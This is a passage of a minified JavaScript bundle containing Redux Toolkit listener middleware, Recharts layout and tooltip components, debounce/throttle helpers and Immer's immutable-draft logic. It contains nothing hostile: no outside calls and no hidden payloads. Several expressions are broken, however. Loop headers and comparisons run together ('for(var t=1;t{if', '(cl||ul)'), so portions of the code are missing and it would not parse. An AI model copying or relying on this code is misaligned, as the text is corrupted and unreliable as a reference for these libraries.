lK="task",XR="listener",ZR="completed",xx="cancelled",sK=`task-${xx}`,cK=`task-${ZR}`,$0=`${XR}-${xx}`,uK=`${XR}-${ZR}`,rp=class{constructor(e){this.code=e,this.message=`${lK} ${xx} (reason: ${e})`}name="TaskAbortError";message},wx=(e,t)=>{if(typeof e!="function")throw new TypeError(Hn(32))},Ud=()=>{},QR=(e,t=Ud)=>(e.catch(t),e),JR=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),eo=e=>{if(e.aborted)throw new rp(e.reason)};function eD(e,t){let n=Ud;return new Promise((r,i)=>{const l=()=>i(new rp(e.reason));if(e.aborted){l();return}n=JR(e,l),t.finally(()=>n()).then(r,i)}).finally(()=>{n=Ud})}var fK=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof rp?"cancelled":"rejected",error:n}}finally{t?.()}},Hd=e=>t=>QR(eD(e,t).then(n=>(eo(e),n))),tD=e=>{const t=Hd(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:Tl}=Object,D_={},ap="listenerMiddleware",dK=(e,t)=>{const n=r=>JR(e,()=>r.abort(e.reason));return(r,i)=>{wx(r);const l=new AbortController;n(l);const c=fK(async()=>{eo(e),eo(l.signal);const u=await r({pause:Hd(l.signal),delay:tD(l.signal),signal:l.signal});return eo(l.signal),u},()=>l.abort(cK));return i?.autoJoin&&t.push(c.catch(Ud)),{result:Hd(e)(c),cancel(){l.abort(sK)}}}},hK=(e,t)=>{const n=async(r,i)=>{eo(t);let l=()=>{};const u=[new Promise((f,h)=>{let p=e({predicate:r,effect:(m,y)=>{y.unsubscribe(),f([m,y.getState(),y.getOriginalState()])}});l=()=>{p(),h()}})];i!=null&&u.push(new Promise(f=>setTimeout(f,i,null)));try{const f=await eD(t,Promise.race(u));return eo(t),f}finally{l()}};return(r,i)=>QR(n(r,i))},nD=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:l}=e;if(t)i=fr(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(Hn(21));return wx(l),{predicate:i,type:t,effect:l}},rD=Tl(e=>{const{type:t,predicate:n,effect:r}=nD(e);return{id:ZV(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(Hn(22))}}},{withTypes:()=>rD}),k_=(e,t)=>{const{type:n,effect:r,predicate:i}=nD(t);return Array.from(e.values()).find(l=>(typeof n=="string"?l.type===n:l.predicate===i)&&l.effect===r)},B0=e=>{e.pending.forEach(t=>{t.abort($0)})},pK=(e,t)=>()=>{for(const n of t.keys())B0(n);e.clear()},L_=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},aD=Tl(fr(`${ap}/add`),{withTypes:()=>aD}),mK=fr(`${ap}/removeAll`),iD=Tl(fr(`${ap}/remove`),{withTypes:()=>iD}),vK=(...e)=>{console.error(`${ap}/error`,...e)},Zc=(e={})=>{const t=new Map,n=new Map,r=x=>{const S=n.get(x)??0;n.set(x,S+1)},i=x=>{const S=n.get(x)??1;S===1?n.delete(x):n.set(x,S-1)},{extra:l,onError:c=vK}=e;wx(c);const u=x=>(x.unsubscribe=()=>t.delete(x.id),t.set(x.id,x),S=>{x.unsubscribe(),S?.cancelActive&&B0(x)}),f=x=>{const S=k_(t,x)??rD(x);return u(S)};Tl(f,{withTypes:()=>f});const h=x=>{const S=k_(t,x);return S&&(S.unsubscribe(),x.cancelActive&&B0(S)),!!S};Tl(h,{withTypes:()=>h});const p=async(x,S,w,O)=>{const A=new AbortController,_=hK(f,A.signal),T=[];try{x.pending.add(A),r(x),await Promise.resolve(x.effect(S,Tl({},w,{getOriginalState:O,condition:(j,M)=>_(j,M).then(Boolean),take:_,delay:tD(A.signal),pause:Hd(A.signal),extra:l,signal:A.signal,fork:dK(A.signal,T),unsubscribe:x.unsubscribe,subscribe:()=>{t.set(x.id,x)},cancelActiveListeners:()=>{x.pending.forEach((j,M,P)=>{j!==A&&(j.abort($0),P.delete(j))})},cancel:()=>{A.abort($0),x.pending.delete(A)},throwIfCancelled:()=>{eo(A.signal)}})))}catch(j){j instanceof rp||L_(c,j,{raisedBy:"effect"})}finally{await Promise.all(T),A.abort(uK),i(x),x.pending.delete(A)}},m=pK(t,n);return{middleware:x=>S=>w=>{if(!DR(w))return S(w);if(aD.match(w))return f(w.payload);if(mK.match(w)){m();return}if(iD.match(w))return h(w.payload);let O=x.getState();const A=()=>{if(O===D_)throw new Error(Hn(23));return O};let _;try{if(_=S(w),t.size>0){const T=x.getState(),j=Array.from(t.values());for(const M of j){let P=!1;try{P=M.predicate(w,T,O)}catch(R){P=!1,L_(c,R,{raisedBy:"predicate"})}P&&p(M,w,x,A)}}}finally{O=D_}return _},startListening:f,stopListening:h,clearListeners:m}};function Hn(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var gK={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},oD=An({name:"chartLayout",initialState:gK,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,l;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(l=t.payload.left)!==null&&l!==void 0?l:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:yK,setLayout:bK,setChartSize:xK,setScale:wK}=oD.actions,SK=oD.reducer;function lD(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function ht(e){return Number.isFinite(e)}function Si(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function I_(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function El(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:l,verticalAlign:c,layout:u}=t;if((u==="vertical"||u==="horizontal"&&c==="middle")&&l!=="center"&&Oe(e[l]))return El(El({},e),{},{[l]:e[l]+(r||0)});if((u==="horizontal"||u==="vertical"&&l==="center")&&c!=="middle"&&Oe(e[c]))return El(El({},e),{},{[c]:e[c]+(i||0)})}return e},So=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",z_=1e-4,_K=e=>{var t=e.domain();if(!(!t||t.length<=2)){var n=t.length,r=e.range(),i=Math.min(r[0],r[1])-z_,l=Math.max(r[0],r[1])+z_,c=e(t[0]),u=e(t[n-1]);(cl||ul)&&e.domain([t[0],t[n-1]])}},TK=(e,t)=>{if(!t||t.length!==2||!Oe(t[0])||!Oe(t[1]))return e;var n=Math.min(t[0],t[1]),r=Math.max(t[0],t[1]),i=[e[0],e[1]];return(!Oe(e[0])||e[0]r)&&(i[1]=r),i[0]>r&&(i[0]=r),i[1]{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(h[0]=l,h[1]=l+y,l=p):(h[0]=c,h[1]=c+y,c=p)}}}},MK=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(f[0]=l,f[1]=l+h,l=f[1]):(f[0]=0,f[1]=0)}}}},jK={sign:NK,expand:aF,none:so,silhouette:iF,wiggle:oF,positive:MK},PK=(e,t,n)=>{var r,i=(r=jK[n])!==null&&r!==void 0?r:so,l=rF().keys(t).value((u,f)=>Number(lt(u,f,0))).order(N0).offset(i),c=l(e);return c.forEach((u,f)=>{u.forEach((h,p)=>{var m=lt(e[p],t[f],0);Array.isArray(m)&&m.length===2&&Oe(m[0])&&Oe(m[1])&&(h[0]=m[0],h[1]=m[1])})}),c};function RK(e){return e==null?void 0:String(e)}var $_=e=>{var{axis:t,ticks:n,offset:r,bandSize:i,entry:l,index:c}=e;if(t.type==="category")return n[c]?n[c].coordinate+r:null;var u=lt(l,t.dataKey,t.scale.domain()[c]);return Vt(u)?null:t.scale(u)-i/2+r},DK=e=>{var{numericAxis:t}=e,n=t.scale.domain();if(t.type==="number"){var r=Math.min(n[0],n[1]),i=Math.max(n[0],n[1]);return r<=0&&i>=0?0:i<0?i:r}return n[0]},kK=e=>{var t=e.flat(2).filter(Oe);return[Math.min(...t),Math.max(...t)]},LK=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],IK=(e,t,n)=>{if(e!=null)return LK(Object.keys(e).reduce((r,i)=>{var l=e[i];if(!l)return r;var{stackedData:c}=l,u=c.reduce((f,h)=>{var p=lD(h,t,n),m=kK(p);return!ht(m[0])||!ht(m[1])?f:[Math.min(f[0],m[0]),Math.max(f[1],m[1])]},[1/0,-1/0]);return[Math.min(u[0],r[0]),Math.max(u[1],r[1])]},[1/0,-1/0]))},B_=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,U_=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,qd=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=Xh(t,p=>p.coordinate),l=1/0,c=1,u=i.length;c{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},$K=(e,t)=>t==="centric"?e.angle:e.radius,Pa=e=>e.layout.width,Ra=e=>e.layout.height,BK=e=>e.layout.scale,sD=e=>e.layout.margin,op=G(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),lp=G(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),cD="data-recharts-item-index",uD="data-recharts-item-id",Qc=60;function q_(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Zf(e){for(var t=1;te.brush.height;function VK(e){var t=lp(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qc;return n+i}return n},0)}function KK(e){var t=lp(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qc;return n+i}return n},0)}function YK(e){var t=op(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function GK(e){var t=op(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var kt=G([Pa,Ra,sD,FK,VK,KK,YK,GK,jR,xV],(e,t,n,r,i,l,c,u,f,h)=>{var p={left:(n.left||0)+i,right:(n.right||0)+l},m={top:(n.top||0)+c,bottom:(n.bottom||0)+u},y=Zf(Zf({},m),p),x=y.bottom;y.bottom+=r,y=CK(y,f,h);var S=e-y.left-y.right,w=t-y.top-y.bottom;return Zf(Zf({brushBottom:x},y),{},{width:Math.max(S,0),height:Math.max(w,0)})}),WK=G(kt,e=>({x:e.left,y:e.top,width:e.width,height:e.height})),Sx=G(Pa,Ra,(e,t)=>({x:0,y:0,width:e,height:t})),XK=v.createContext(null),Vn=()=>v.useContext(XK)!=null,sp=e=>e.brush,cp=G([sp,kt,sD],(e,t,n)=>({height:e.height,x:Oe(e.x)?e.x:t.left,y:Oe(e.y)?e.y:t.top+t.height+t.brushBottom-(n?.bottom||0),width:Oe(e.width)?e.width:t.width})),Oy={},Ey={},Ay={},F_;function ZK(){return F_||(F_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:l}={}){let c,u=null;const f=l!=null&&l.includes("leading"),h=l==null||l.includes("trailing"),p=()=>{u!==null&&(n.apply(c,u),c=void 0,u=null)},m=()=>{h&&p(),w()};let y=null;const x=()=>{y!=null&&clearTimeout(y),y=setTimeout(()=>{y=null,m()},r)},S=()=>{y!==null&&(clearTimeout(y),y=null)},w=()=>{S(),c=void 0,u=null},O=()=>{p()},A=function(..._){if(i?.aborted)return;c=this,u=_;const T=y==null;x(),f&&T&&p()};return A.schedule=x,A.cancel=w,A.flush=O,i?.addEventListener("abort",w,{once:!0}),A}e.debounce=t})(Ay)),Ay}var V_;function QK(){return V_||(V_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=ZK();function n(r,i=0,l={}){typeof l!="object"&&(l={});const{leading:c=!1,trailing:u=!0,maxWait:f}=l,h=Array(2);c&&(h[0]="leading"),u&&(h[1]="trailing");let p,m=null;const y=t.debounce(function(...w){p=r.apply(this,w),m=null},i,{edges:h}),x=function(...w){return f!=null&&(m===null&&(m=Date.now()),Date.now()-m>=f)?(p=r.apply(this,w),m=Date.now(),y.cancel(),y.schedule(),p):(y.apply(this,w),p)},S=()=>(y.flush(),p);return x.cancel=y.cancel,x.flush=S,x}e.debounce=n})(Ey)),Ey}var K_;function JK(){return K_||(K_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=QK();function n(r,i=0,l={}){const{leading:c=!0,trailing:u=!0}=l;return t.debounce(r,i,{leading:c,maxWait:i,trailing:u})}e.throttle=n})(Oy)),Oy}var Cy,Y_;function eY(){return Y_||(Y_=1,Cy=JK().throttle),Cy}var tY=eY();const nY=Vr(tY);var G_=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),l=2;li[c++]))}},fD=(e,t,n)=>{var{width:r="100%",height:i="100%",aspect:l,maxHeight:c}=n,u=Ea(r)?e:Number(r),f=Ea(i)?t:Number(i);return l&&l>0&&(u?f=u/l:f&&(u=f*l),c&&f!=null&&f>c&&(f=c)),{calculatedWidth:u,calculatedHeight:f}},rY={width:0,height:0,overflow:"visible"},aY={width:0,overflowX:"visible"},iY={height:0,overflowY:"visible"},oY={},lY=e=>{var{width:t,height:n}=e,r=Ea(t),i=Ea(n);return r&&i?rY:r?aY:i?iY:oY};function sY(e){var{width:t,height:n,aspect:r}=e,i=t,l=n;return i===void 0&&l===void 0?(i="100%",l="100%"):i===void 0?i=r&&r>0?void 0:"100%":l===void 0&&(l=r&&r>0?void 0:"100%"),{width:i,height:l}}function U0(){return U0=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return dY(i)?v.createElement(dD.Provider,{value:i},t):null}var Ox=()=>v.useContext(dD),hY=v.forwardRef((e,t)=>{var{aspect:n,initialDimension:r={width:-1,height:-1},width:i,height:l,minWidth:c=0,minHeight:u,maxHeight:f,children:h,debounce:p=0,id:m,className:y,onResize:x,style:S={}}=e,w=v.useRef(null),O=v.useRef();O.current=x,v.useImperativeHandle(t,()=>w.current);var[A,_]=v.useState({containerWidth:r.width,containerHeight:r.height}),T=v.useCallback((I,B)=>{_(q=>{var U=Math.round(I),V=Math.round(B);return q.containerWidth===U&&q.containerHeight===V?q:{containerWidth:U,containerHeight:V}})},[]);v.useEffect(()=>{if(w.current==null||typeof ResizeObserver>"u")return Gc;var I=V=>{var oe,{width:le,height:ce}=V[0].contentRect;T(le,ce),(oe=O.current)===null||oe===void 0||oe.call(O,le,ce)};p>0&&(I=nY(I,p,{trailing:!0,leading:!1}));var B=new ResizeObserver(I),{width:q,height:U}=w.current.getBoundingClientRect();return T(q,U),B.observe(w.current),()=>{B.disconnect()}},[T,p]);var{containerWidth:j,containerHeight:M}=A;G_(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:P,calculatedHeight:R}=fD(j,M,{width:i,height:l,aspect:n,maxHeight:f});return G_(P!=null&&P>0||R!=null&&R>0,`The width(%s) and height(%s) of chart should be greater than 0, - please check the style of container, or the props width(%s) and height(%s), - or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the - height and width.`,P,R,i,l,c,u,n),v.createElement("div",{id:m?"".concat(m):void 0,className:Ye("recharts-responsive-container",y),style:X_(X_({},S),{},{width:i,height:l,minWidth:c,minHeight:u,maxHeight:f}),ref:w},v.createElement("div",{style:lY({width:i,height:l})},v.createElement(hD,{width:P,height:R},h)))}),pY=v.forwardRef((e,t)=>{var n=Ox();if(Si(n.width)&&Si(n.height))return e.children;var{width:r,height:i}=sY({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:l,calculatedHeight:c}=fD(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return Oe(l)&&Oe(c)?v.createElement(hD,{width:l,height:c},e.children):v.createElement(hY,U0({},e,{width:r,height:i,ref:t}))});function pD(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var up=()=>{var e,t=Vn(),n=we(WK),r=we(cp),i=(e=we(sp))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},mY={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},vY=()=>{var e;return(e=we(kt))!==null&&e!==void 0?e:mY},gY=()=>we(Pa),yY=()=>we(Ra),Fe=e=>e.layout.layoutType,Jc=()=>we(Fe),bY=()=>{var e=Jc();return e!==void 0},fp=e=>{var t=ft(),n=Vn(),{width:r,height:i}=e,l=Ox(),c=r,u=i;return l&&(c=l.width>0?l.width:r,u=l.height>0?l.height:i),v.useEffect(()=>{!n&&Si(c)&&Si(u)&&t(xK({width:c,height:u}))},[t,n,c,u]),null},mD=Symbol.for("immer-nothing"),Z_=Symbol.for("immer-draftable"),qn=Symbol.for("immer-state");function xr(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Nc=Object.getPrototypeOf;function kl(e){return!!e&&!!e[qn]}function fo(e){return e?vD(e)||Array.isArray(e)||!!e[Z_]||!!e.constructor?.[Z_]||eu(e)||hp(e):!1}var xY=Object.prototype.constructor.toString(),Q_=new WeakMap;function vD(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Q_.get(n);return r===void 0&&(r=Function.toString.call(n),Q_.set(n,r)),r===xY}function Fd(e,t,n=!0){dp(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function dp(e){const t=e[qn];return t?t.type_:Array.isArray(e)?1:eu(e)?2:hp(e)?3:0}function H0(e,t){return dp(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function gD(e,t,n){const r=dp(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function wY(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function eu(e){return e instanceof Map}function hp(e){return e instanceof Set}function Wi(e){return e.copy_||e.base_}function q0(e,t){if(eu(e))return new Map(e);if(hp(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=vD(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[qn];let i=Reflect.ownKeys(r);for(let l=0;l1&&Object.defineProperties(e,{set:Qf,add:Qf,clear:Qf,delete:Qf}),Object.freeze(e),t&&Object.values(e).forEach(n=>Ex(n,!0))),e}function SY(){xr(2)}var Qf={value:SY};function pp(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var OY={};function ho(e){const t=OY[e];return t||xr(0,e),t}var Mc;function yD(){return Mc}function EY(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function J_(e,t){t&&(ho("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function F0(e){V0(e),e.drafts_.forEach(AY),e.drafts_=null}function V0(e){e===Mc&&(Mc=e.parent_)}function eT(e){return Mc=EY(Mc,e)}function AY(e){const t=e[qn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function tT(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[qn].modified_&&(F0(t),xr(4)),fo(e)&&(e=Vd(t,e),t.parent_||Kd(t,e)),t.patches_&&ho("Patches").generateReplacementPatches_(n[qn].base_,e,t.patches_,t.inversePatches_)):e=Vd(t,n,[]),F0(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==mD?e:void 0}function Vd(e,t,n){if(pp(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[qn];if(!i)return Fd(t,(l,c)=>nT(e,i,t,l,c,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return Kd(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const l=i.copy_;let c=l,u=!1;i.type_===3&&(c=new Set(l),l.clear(),u=!0),Fd(c,(f,h)=>nT(e,i,l,f,h,n,u),r),Kd(e,l,!1),n&&e.patches_&&ho("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function nT(e,t,n,r,i,l,c){if(i==null||typeof i!="object"&&!c)return;const u=pp(i);if(!(u&&!c)){if(kl(i)){const f=l&&t&&t.type_!==3&&!H0(t.assigned_,r)?l.concat(r):void 0,h=Vd(e,i,f);if(gD(n,r,h),kl(h))e.canAutoFreeze_=!1;else return}else c&&n.add(i);if(fo(i)&&!u){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&u)return;Vd(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(eu(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&Kd(e,i)}}}function Kd(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Ex(t,n)}function CY(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:yD(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,l=Ax;n&&(i=[r],l=jc);const{revoke:c,proxy:u}=Proxy.revocable(i,l);return r.draft_=u,r.revoke_=c,u}var Ax={get(e,t){if(t===qn)return e;const n=Wi(e);if(!H0(n,t))return _Y(e,n,t);const r=n[t];return e.finalized_||!fo(r)?r:r===_y(e.base_,t)?(Ty(e),e.copy_[t]=Y0(r,e)):r},has(e,t){return t in Wi(e)},ownKeys(e){return Reflect.ownKeys(Wi(e))},set(e,t,n){const r=bD(Wi(e),t);if(r?.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=_y(Wi(e),t),l=i?.[qn];if(l&&l.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(wY(n,i)&&(n!==void 0||H0(e.base_,t)))return!0;Ty(e),K0(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return _y(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,Ty(e),K0(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Wi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){xr(11)},getPrototypeOf(e){return Nc(e.base_)},setPrototypeOf(){xr(12)}},jc={};Fd(Ax,(e,t)=>{jc[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});jc.deleteProperty=function(e,t){return jc.set.call(this,e,t,void 0)};jc.set=function(e,t,n){return Ax.set.call(this,e[0],t,n,e[0])};function _y(e,t){const n=e[qn];return(n?Wi(n):e)[t]}function _Y(e,t,n){const r=bD(t,n);return r?"value"in r?r.value:r.get?.call(e.draft_):void 0}function bD(e,t){if(!(t in e))return;let n=Nc(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Nc(n)}}function K0(e){e.modified_||(e.modified_=!0,e.parent_&&K0(e.parent_))}function Ty(e){e.copy_||(e.copy_=q0(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var TY=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const l=n;n=t;const c=this;return function(f=l,...h){return c.produce(f,p=>n.call(this,p,...h))}}typeof n!="function"&&xr(6),r!==void 0&&typeof r!="function"&&xr(7);let i;if(fo(t)){const l=eT(this),c=Y0(t,void 0);let u=!0;try{i=n(c),u=!1}finally{u?F0(l):V0(l)}return J_(l,r),tT(i,l)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===mD&&(i=void 0),this.autoFreeze_&&Ex(i,!0),r){const l=[],c=[];ho("Patches").generateReplacementPatches_(t,i,l,c),r(l,c)}return i}else xr(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(c,...u)=>this.produceWithPatches(c,f=>t(f,...u));let r,i;return[this.produce(t,n,(c,u)=>{r=c,i=u}),r,i]},typeof e?.autoFreeze=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof e?.useStrictShallowCopy=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof e?.useStrictIteration=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){fo(e)||xr(8),kl(e)&&(e=NY(e));const t=eT(this),n=Y0(e,void 0);return n[qn].isManual_=!0,V0(t),n}finishDraft(e,t){const n=e&&e[qn];(!n||!n.isManual_)&&xr(9);const{scope_:r}=n;return J_(r,t),tT(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=ho("Patches").applyPatches_;return kl(e)?r(e,t):this.produce(e,i=>r(i,t))}};function Y0(e,t){const n=eu(e)?ho("MapSet").proxyMap_(e,t):hp(e)?ho("MapSet").proxySet_(e,t):CY(e,t);return(t?t.scope_:yD()).drafts_.push(n),n}function NY(e){return kl(e)||xr(10,e),xD(e)}function xD(e){if(!fo(e)||pp(e))return e;const t=e[qn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=q0(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=q0(e,!0);return Fd(n,(i,l)=>{gD(n,i,xD(l))},r),t&&(t.finalized_=!1),n}var MY=new TY;MY.produce;var jY={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},wD=An({name:"legend",initialState:jY,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:ct()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Sr(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:ct()},removeLegendPayload:{reducer(e,t){var n=Sr(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:ct()}}}),{setLegendSize:xue,setLegendSettings:wue,addLegendPayload:SD,replaceLegendPayload:OD,removeLegendPayload:ED}=wD.actions,PY=wD.reducer;function G0(){return G0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=" : ",contentStyle:n={},itemStyle:r={},labelStyle:i={},payload:l,formatter:c,itemSorter:u,wrapperClassName:f,labelClassName:h,label:p,labelFormatter:m,accessibilityLayer:y=!1}=e,x=()=>{if(l&&l.length){var M={padding:0,margin:0},P=(u?Xh(l,u):l).map((R,I)=>{if(R.type==="none")return null;var B=R.formatter||c||LY,{value:q,name:U}=R,V=q,oe=U;if(B){var le=B(q,U,R,I,l);if(Array.isArray(le))[V,oe]=le;else if(le!=null)V=le;else return null}var ce=Ny({display:"block",paddingTop:4,paddingBottom:4,color:R.color||"#000"},r);return v.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(I),style:ce},qr(oe)?v.createElement("span",{className:"recharts-tooltip-item-name"},oe):null,qr(oe)?v.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,v.createElement("span",{className:"recharts-tooltip-item-value"},V),v.createElement("span",{className:"recharts-tooltip-item-unit"},R.unit||""))});return v.createElement("ul",{className:"recharts-tooltip-item-list",style:M},P)}return null},S=Ny({margin:0,padding:10,backgroundColor:"#fff",border:"1px solid #ccc",whiteSpace:"nowrap"},n),w=Ny({margin:0},i),O=!Vt(p),A=O?p:"",_=Ye("recharts-default-tooltip",f),T=Ye("recharts-tooltip-label",h);O&&m&&l!==void 0&&l!==null&&(A=m(p,l));var j=y?{role:"status","aria-live":"assertive"}:{};return 